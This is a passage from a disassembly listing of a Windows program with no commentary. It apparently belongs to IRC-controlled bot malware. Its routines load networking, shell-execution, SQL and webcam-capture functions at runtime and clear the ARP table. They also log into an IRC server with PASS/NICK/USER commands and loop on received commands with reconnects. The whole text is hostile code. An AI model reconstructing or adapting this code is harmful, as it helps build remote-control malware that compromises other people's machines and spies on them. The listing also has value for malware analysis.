ds:dword_4441AC, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_444240, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_4440D8, eax call esi ; GetProcAddress cmp ds:dword_4441AC, ebx mov ds:dword_444090, eax jz short loc_401E4E cmp ds:dword_444240, ebx jz short loc_401E4E cmp ds:dword_4440D8, ebx jz short loc_401E4E cmp eax, ebx jnz short loc_401E58 jmp short loc_401E4E ; --------------------------------------------------------------------------- loc_401E43: ; CODE XREF: sub_4012D6+B19j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442B8, eax loc_401E4E: ; CODE XREF: sub_4012D6+B55j ; sub_4012D6+B5Dj ... mov ds:dword_4442B4, 1 loc_401E58: ; CODE XREF: sub_4012D6+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401E8D push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_444214, eax call esi ; GetProcAddress cmp ds:dword_444214, ebx mov ds:dword_4440D0, eax jz short loc_401E98 cmp eax, ebx jnz short loc_401EA2 jmp short loc_401E98 ; --------------------------------------------------------------------------- loc_401E8D: ; CODE XREF: sub_4012D6+B8Dj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442C0, eax loc_401E98: ; CODE XREF: sub_4012D6+BAFj ; sub_4012D6+BB5j mov ds:dword_4442BC, 1 loc_401EA2: ; CODE XREF: sub_4012D6+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401F2B push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_4441F8, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_4440B4, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_444210, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_444128, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_4441BC, eax call esi ; GetProcAddress cmp ds:dword_4441F8, ebx mov ds:dword_4440C4, eax jz short loc_401F36 cmp ds:dword_4440B4, ebx jz short loc_401F36 cmp ds:dword_444210, ebx jz short loc_401F36 cmp ds:dword_444128, ebx jz short loc_401F36 cmp ds:dword_4441BC, ebx jz short loc_401F36 cmp eax, ebx jnz short loc_401F40 jmp short loc_401F36 ; --------------------------------------------------------------------------- loc_401F2B: ; CODE XREF: sub_4012D6+BD7j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442C8, eax loc_401F36: ; CODE XREF: sub_4012D6+C2Dj ; sub_4012D6+C35j ... mov ds:dword_4442C4, 1 loc_401F40: ; CODE XREF: sub_4012D6+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401F75 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_444138, eax call esi ; GetProcAddress cmp ds:dword_444138, ebx mov ds:dword_44419C, eax jz short loc_401F80 cmp eax, ebx jnz short loc_401F8A jmp short loc_401F80 ; --------------------------------------------------------------------------- loc_401F75: ; CODE XREF: sub_4012D6+C75j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442D0, eax loc_401F80: ; CODE XREF: sub_4012D6+C97j ; sub_4012D6+C9Dj mov ds:dword_4442CC, 1 loc_401F8A: ; CODE XREF: sub_4012D6+C9Bj pop edi pop esi xor eax, eax pop ebp inc eax pop ebx retn sub_4012D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F92 proc near ; CODE XREF: sub_40274D+2349p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_444264, esi push edi mov edi, [ebp+arg_8] jz short loc_401FDA push ds:dword_444268 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_401FDA: ; CODE XREF: sub_401F92+1Aj cmp ds:dword_44426C, esi jz short loc_40200E push ds:dword_444270 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_40200E: ; CODE XREF: sub_401F92+4Ej cmp ds:dword_444274, esi jz short loc_402042 push ds:dword_444278 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_402042: ; CODE XREF: sub_401F92+82j cmp ds:dword_44427C, esi jz short loc_402076 push ds:dword_444280 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_402076: ; CODE XREF: sub_401F92+B6j cmp ds:dword_444284, esi jz short loc_4020AA push ds:dword_444288 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_4020AA: ; CODE XREF: sub_401F92+EAj cmp ds:dword_44428C, esi jz short loc_4020DE push ds:dword_444290 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_4020DE: ; CODE XREF: sub_401F92+11Ej cmp ds:dword_444294, esi jz short loc_402112 push ds:dword_444298 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_402112: ; CODE XREF: sub_401F92+152j cmp ds:dword_44429C, esi jz short loc_402146 push ds:dword_4442A0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_402146: ; CODE XREF: sub_401F92+186j cmp ds:dword_4442A4, esi jz short loc_40217A push ds:dword_4442A8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_40217A: ; CODE XREF: sub_401F92+1BAj cmp ds:dword_4442AC, esi jz short loc_4021AE push ds:dword_4442B0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_4021AE: ; CODE XREF: sub_401F92+1EEj cmp ds:dword_4442B4, esi jz short loc_4021E2 push ds:dword_4442B8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_4021E2: ; CODE XREF: sub_401F92+222j cmp ds:dword_4442BC, esi jz short loc_402216 push ds:dword_4442C0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_402216: ; CODE XREF: sub_401F92+256j cmp ds:dword_4442C4, esi jz short loc_40224A push ds:dword_4442C8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_40224A: ; CODE XREF: sub_401F92+28Aj cmp ds:dword_4442CC, esi jz short loc_40227E push ds:dword_4442D0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41E6A6 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 20h loc_40227E: ; CODE XREF: sub_401F92+2BEj lea eax, [ebp+var_200] push offset unk_42BF4C push eax call sub_41E6A6 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_4022AB push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_40123B add esp, 14h loc_4022AB: ; CODE XREF: sub_401F92+302j lea eax, [ebp+var_200] push eax call sub_417D70 pop ecx pop edi pop esi pop ebx leave retn sub_401F92 endp ; =============== S U B R O U T I N E ======================================= sub_4022BD proc near ; CODE XREF: sub_4025EF+136p ; sub_40274D+59AFp ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_4022E5 push [esp+arg_0] call ds:dword_444168 ; gethostbyname test eax, eax jnz short loc_4022DE or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4022DE: ; CODE XREF: sub_4022BD+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_4022E5: ; CODE XREF: sub_4022BD+Dj retn sub_4022BD endp ; =============== S U B R O U T I N E ======================================= sub_4022E6 proc near ; CODE XREF: sub_4025EF+A2p mov ecx, ds:dword_4441F0 xor eax, eax test ecx, ecx jz short locret_4022F4 jmp ecx ; --------------------------------------------------------------------------- locret_4022F4: ; CODE XREF: sub_4022E6+Aj retn sub_4022E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_4022F5 proc near ; CODE XREF: sub_40274D:loc_4049BFp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 88h push ebx push esi push edi xor ebx, ebx inc ebx push ebx lea eax, [ebp+78h+var_8] xor edi, edi push eax push edi xor esi, esi mov [ebp+78h+var_8], edi mov [ebp+78h+var_4], ebx call ds:dword_44410C ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40237B sub ecx, 32h jz loc_4023C2 sub ecx, 48h jz short loc_402350 sub ecx, 6Eh jz short loc_402349 loc_402335: ; CODE XREF: sub_4022F5+84j push eax lea eax, [ebp+78h+var_88] push offset unk_42C160 push eax call sub_41E6A6 add esp, 0Ch jmp short loc_4023A3 ; --------------------------------------------------------------------------- loc_402349: ; CODE XREF: sub_4022F5+3Ej push offset unk_42C13C jmp short loc_402398 ; --------------------------------------------------------------------------- loc_402350: ; CODE XREF: sub_4022F5+39j push [ebp+78h+var_8] call sub_41E5D3 push [ebp+78h+var_8] mov esi, eax push edi push esi call sub_41E5F0 add esp, 10h cmp esi, edi jz short loc_402393 push ebx lea eax, [ebp+78h+var_8] push eax push esi call ds:dword_44410C ; GetIpNetTable cmp eax, edi jnz short loc_402335 loc_40237B: ; CODE XREF: sub_4022F5+2Bj cmp [esi], edi jbe short loc_4023B0 lea ebx, [esi+4] loc_402382: ; CODE XREF: sub_4022F5+9Aj push ebx call ds:dword_444174 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_402382 jmp short loc_4023B0 ; --------------------------------------------------------------------------- loc_402393: ; CODE XREF: sub_4022F5+74j push offset unk_42C10C loc_402398: ; CODE XREF: sub_4022F5+59j ; sub_4022F5+D2j lea eax, [ebp+78h+var_88] push eax call sub_41E6A6 pop ecx pop ecx loc_4023A3: ; CODE XREF: sub_4022F5+52j lea eax, [ebp+78h+var_88] push eax mov [ebp+78h+var_4], edi call sub_417D70 pop ecx loc_4023B0: ; CODE XREF: sub_4022F5+88j ; sub_4022F5+9Cj push esi call sub_41E2A1 mov eax, [ebp+78h+var_4] pop ecx pop edi pop esi pop ebx add ebp, 78h leave retn ; --------------------------------------------------------------------------- loc_4023C2: ; CODE XREF: sub_4022F5+30j push offset unk_42C0DC jmp short loc_402398 sub_4022F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023C9 proc near ; CODE XREF: sub_40274D+2037p ; sub_40274D+2162p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax push eax mov [ebp+var_4], eax lea eax, [ebp+var_14] push 0 push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_444068 ; getsockname movzx eax, [ebp+var_D] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" mov esi, offset dword_4442D4 push esi call sub_41E6A6 add esp, 18h mov eax, esi pop esi leave retn sub_4023C9 endp ; =============== S U B R O U T I N E ======================================= sub_402422 proc near ; CODE XREF: sub_415825+29Fp ; sub_415825+2D9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40244D lea eax, [ecx-2] shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+4+arg_0] push edi loc_402440: ; CODE XREF: sub_402422+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_402440 pop edi jmp short loc_402451 ; --------------------------------------------------------------------------- loc_40244D: ; CODE XREF: sub_402422+Aj mov esi, [esp+4+arg_0] loc_402451: ; CODE XREF: sub_402422+29j test ecx, ecx jz short loc_40245A movzx eax, byte ptr [esi] add edx, eax loc_40245A: ; CODE XREF: sub_402422+31j mov ecx, edx shr ecx, 10h and edx, 0FFFFh add ecx, edx mov eax, ecx shr eax, 10h add eax, ecx not eax pop esi retn sub_402422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=58h sub_402472 proc near ; CODE XREF: sub_4025EF+E0p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov eax, 1A90h lea ebp, [esp-58h] call sub_41EA20 push esi xor esi, esi push 3 mov [ebp+58h+var_8], esi lea eax, [ebp+58h+var_2C0] pop ecx loc_402490: ; CODE XREF: sub_402472+27j mov byte ptr [eax], 0 add eax, 80h dec ecx jnz short loc_402490 cmp ds:byte_4D1FD8, 0 jz short loc_4024B9 push offset byte_4D1FD8 push offset aPassS ; "PASS %s\r\n" push [ebp+58h+arg_0] call sub_4011F5 add esp, 0Ch loc_4024B9: ; CODE XREF: sub_402472+30j push [ebp+58h+arg_C] lea eax, [ebp+58h+var_20] push esi push esi push 2 push eax call sub_40AB83 add esp, 10h push eax push [ebp+58h+arg_C] lea eax, [ebp+58h+var_A0] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41E6A6 add esp, 14h lea eax, [ebp+58h+var_A0] push esi push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+58h+var_A0] push eax push [ebp+58h+arg_0] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz short loc_40251A push [ebp+58h+arg_0] call ds:dword_444218 ; closesocket push 1388h call ds:dword_42B014 ; Sleep xor eax, eax jmp loc_4025E9 ; --------------------------------------------------------------------------- loc_40251A: ; CODE XREF: sub_402472+8Bj push ebx push edi mov ebx, 1000h jmp loc_4025B0 ; --------------------------------------------------------------------------- loc_402526: ; CODE XREF: sub_402472+163j lea eax, [ebp+58h+var_A90] push eax lea eax, [ebp+58h+var_1A90] push eax call sub_41AC0E cmp eax, esi pop ecx pop ecx mov [ebp+58h+var_C], eax mov [ebp+58h+var_4], esi jle short loc_4025B0 lea edi, [ebp+58h+var_A90] loc_40254B: ; CODE XREF: sub_402472+13Aj xor esi, esi inc esi loc_40254E: ; CODE XREF: sub_402472+11Dj push [ebp+58h+arg_1C] lea eax, [ebp+58h+var_8] push esi push eax lea eax, [ebp+58h+var_140] push eax lea eax, [ebp+58h+var_2C0] push eax push [ebp+58h+arg_18] push [ebp+58h+arg_C] push [ebp+58h+arg_8] push [ebp+58h+arg_4] push [ebp+58h+arg_0] push dword ptr [edi] call sub_40274D add esp, 2Ch dec eax mov esi, eax test esi, esi jle short loc_402591 push 7D0h call ds:dword_42B014 ; Sleep jmp short loc_40254E ; --------------------------------------------------------------------------- loc_402591: ; CODE XREF: sub_402472+110j cmp esi, 0FFFFFFFDh jz short loc_4025E4 cmp esi, 0FFFFFFFEh jz short loc_4025DF cmp esi, 0FFFFFFFFh jz short loc_4025DB inc [ebp+58h+var_4] mov eax, [ebp+58h+var_4] add edi, 4 cmp eax, [ebp+58h+var_C] jl short loc_40254B xor esi, esi loc_4025B0: ; CODE XREF: sub_402472+AFj ; sub_402472+D1j push ebx lea eax, [ebp+58h+var_1A90] push esi push eax call sub_41E5F0 add esp, 0Ch push esi push ebx lea eax, [ebp+58h+var_1A90] push eax push [ebp+58h+arg_0] call ds:dword_444064 ; recv test eax, eax jg loc_402526 loc_4025DB: ; CODE XREF: sub_402472+12Cj xor eax, eax jmp short loc_4025E7 ; --------------------------------------------------------------------------- loc_4025DF: ; CODE XREF: sub_402472+127j xor eax, eax inc eax jmp short loc_4025E7 ; --------------------------------------------------------------------------- loc_4025E4: ; CODE XREF: sub_402472+122j push 2 pop eax loc_4025E7: ; CODE XREF: sub_402472+16Bj ; sub_402472+170j pop edi pop ebx loc_4025E9: ; CODE XREF: sub_402472+A3j pop esi add ebp, 58h leave retn sub_402472 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4025EF proc near ; CODE XREF: sub_40A263+4D0p ; DATA XREF: sub_40274D+6340o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 190h mov eax, [ebp+74h+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+74h+var_190] rep movsd mov dword ptr [eax+160h], 1 jmp loc_4026FB ; --------------------------------------------------------------------------- loc_40261B: ; CODE XREF: sub_4025EF+141j push 1Ch lea eax, [ebp+74h+var_2C] push 0 push eax call sub_41E5F0 push 0 push ds:dword_43C098 lea eax, [ebp+74h+var_2C] push ds:dword_43C094 push eax call sub_40AB83 mov edi, eax mov eax, [ebp+74h+var_34] imul eax, 234h push 1Bh add eax, offset byte_444500 push edi push eax call sub_41E860 add esp, 28h push 6 push 1 push 2 call ds:dword_444100 ; socket mov esi, eax mov eax, [ebp+74h+var_34] imul eax, 234h mov ds:dword_4444F4[eax], esi push 10h lea eax, [ebp+74h+var_10] push eax push esi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40269D push esi call ds:dword_444218 ; closesocket call sub_4022E6 push 7D0h jmp short loc_4026EE ; --------------------------------------------------------------------------- loc_40269D: ; CODE XREF: sub_4025EF+99j lea eax, [ebp+74h+var_18C] push eax push offset unk_42C6BC call sub_417DE4 push [ebp+74h+var_38] lea eax, [ebp+74h+var_18C] push eax lea eax, [ebp+74h+var_8C] push eax push [ebp+74h+var_190] lea eax, [ebp+74h+var_CC] push edi push eax lea eax, [ebp+74h+var_10C] push eax push esi call sub_402472 add esp, 28h push esi mov edi, eax call ds:dword_444218 ; closesocket test edi, edi jz short loc_4026FB cmp edi, 1 jnz short loc_4026F6 push 0DBBA0h loc_4026EE: ; CODE XREF: sub_4025EF+ACj call ds:dword_42B014 ; Sleep jmp short loc_4026FB ; --------------------------------------------------------------------------- loc_4026F6: ; CODE XREF: sub_4025EF+F8j cmp edi, 2 jz short loc_402738 loc_4026FB: ; CODE XREF: sub_4025EF+27j ; sub_4025EF+F3j ... push 10h lea eax, [ebp+74h+var_10] push 0 push eax call sub_41E5F0 add esp, 0Ch push [ebp+74h+var_3C] mov [ebp+74h+var_10], 2 call ds:dword_444260 ; htons mov [ebp+74h+var_E], ax lea eax, [ebp+74h+var_18C] push eax call sub_4022BD test eax, eax pop ecx mov [ebp+74h+var_C], eax jnz loc_40261B jmp short loc_402744 ; --------------------------------------------------------------------------- loc_402738: ; CODE XREF: sub_4025EF+10Aj push [ebp+74h+var_34] call sub_40B149 pop ecx push 2 pop eax loc_402744: ; CODE XREF: sub_4025EF+147j pop edi pop esi add ebp, 74h leave retn 4 sub_4025EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=4Ch sub_40274D proc near ; CODE XREF: sub_402472+103p var_5D90 = byte ptr -5D90h var_5990 = byte ptr -5990h var_5590 = byte ptr -5590h var_5400 = byte ptr -5400h var_5200 = byte ptr -5200h var_50FC = byte ptr -50FCh var_4FFC = byte ptr -4FFCh var_4EF8 = byte ptr -4EF8h var_4DF8 = byte ptr -4DF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF8 = byte ptr -4AF8h var_48F8 = byte ptr -48F8h var_47F4 = byte ptr -47F4h var_46F4 = byte ptr -46F4h var_45F4 = byte ptr -45F4h var_4590 = byte ptr -4590h var_4390 = byte ptr -4390h var_4290 = byte ptr -4290h var_4190 = byte ptr -4190h var_4090 = byte ptr -4090h var_3F90 = dword ptr -3F90h var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E88 = byte ptr -3E88h var_3E08 = byte ptr -3E08h var_3D88 = byte ptr -3D88h var_3D08 = dword ptr -3D08h var_3D04 = dword ptr -3D04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = byte ptr -3CF8h var_3C78 = byte ptr -3C78h var_3B74 = byte ptr -3B74h var_3A70 = dword ptr -3A70h var_3A6C = dword ptr -3A6Ch var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = byte ptr -3A5Ch var_37D5 = byte ptr -37D5h var_37D4 = byte ptr -37D4h var_36D0 = dword ptr -36D0h var_36C8 = dword ptr -36C8h var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B4 = dword ptr -36B4h var_36B0 = dword ptr -36B0h var_36AC = byte ptr -36ACh var_362C = byte ptr -362Ch var_35AC = byte ptr -35ACh var_352C = byte ptr -352Ch var_34AC = dword ptr -34ACh var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = byte ptr -3498h var_3418 = byte ptr -3418h var_3398 = byte ptr -3398h var_3318 = byte ptr -3318h var_3298 = dword ptr -3298h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = byte ptr -3284h var_3204 = byte ptr -3204h var_3184 = byte ptr -3184h var_3104 = byte ptr -3104h var_3084 = dword ptr -3084h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = byte ptr -3070h var_2FF0 = byte ptr -2FF0h var_2F70 = byte ptr -2F70h var_2EF0 = byte ptr -2EF0h var_2E70 = dword ptr -2E70h var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = byte ptr -2E60h var_2D5C = dword ptr -2D5Ch var_2D58 = byte ptr -2D58h var_2C54 = byte ptr -2C54h var_2B50 = dword ptr -2B50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = byte ptr -2B44h var_2AC4 = dword ptr -2AC4h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB0 = byte ptr -2AB0h var_2998 = byte ptr -2998h var_2918 = dword ptr -2918h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = byte ptr -2900h var_2880 = byte ptr -2880h var_2780 = byte ptr -2780h var_2680 = dword ptr -2680h var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = byte ptr -2658h var_25D8 = byte ptr -25D8h var_24D8 = byte ptr -24D8h var_23D8 = dword ptr -23D8h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = byte ptr -23B0h var_2330 = byte ptr -2330h var_22B0 = byte ptr -22B0h var_2230 = dword ptr -2230h var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = byte ptr -221Ch var_219C = byte ptr -219Ch var_211C = byte ptr -211Ch var_209C = dword ptr -209Ch var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = byte ptr -2088h var_2008 = byte ptr -2008h var_1F88 = byte ptr -1F88h var_1F08 = dword ptr -1F08h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = byte ptr -1EF4h var_1DF4 = byte ptr -1DF4h var_1D74 = dword ptr -1D74h var_1D6C = dword ptr -1D6Ch var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D50 = byte ptr -1D50h var_1D3C = byte ptr -1D3Ch var_1C38 = byte ptr -1C38h var_1BB4 = dword ptr -1BB4h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1B9C = byte ptr -1B9Ch var_1B88 = byte ptr -1B88h var_1A84 = byte ptr -1A84h var_1A04 = dword ptr -1A04h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = byte ptr -19ECh var_196C = byte ptr -196Ch var_192C = byte ptr -192Ch var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_181C = dword ptr -181Ch var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = byte ptr -1810h var_17D8 = byte ptr -17D8h var_17A0 = byte ptr -17A0h var_1784 = byte ptr -1784h var_1780 = byte ptr -1780h var_1700 = byte ptr -1700h var_16C0 = byte ptr -16C0h var_1630 = dword ptr -1630h var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = byte ptr -161Ch var_159C = byte ptr -159Ch var_151C = dword ptr -151Ch var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = byte ptr -150Ch var_14FC = byte ptr -14FCh var_147C = byte ptr -147Ch var_13FC = dword ptr -13FCh var_13F4 = dword ptr -13F4h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = byte ptr -13DCh var_135C = byte ptr -135Ch var_12DC = byte ptr -12DCh var_125C = dword ptr -125Ch var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_1238 = byte ptr -1238h var_11B8 = byte ptr -11B8h var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_1118 = dword ptr 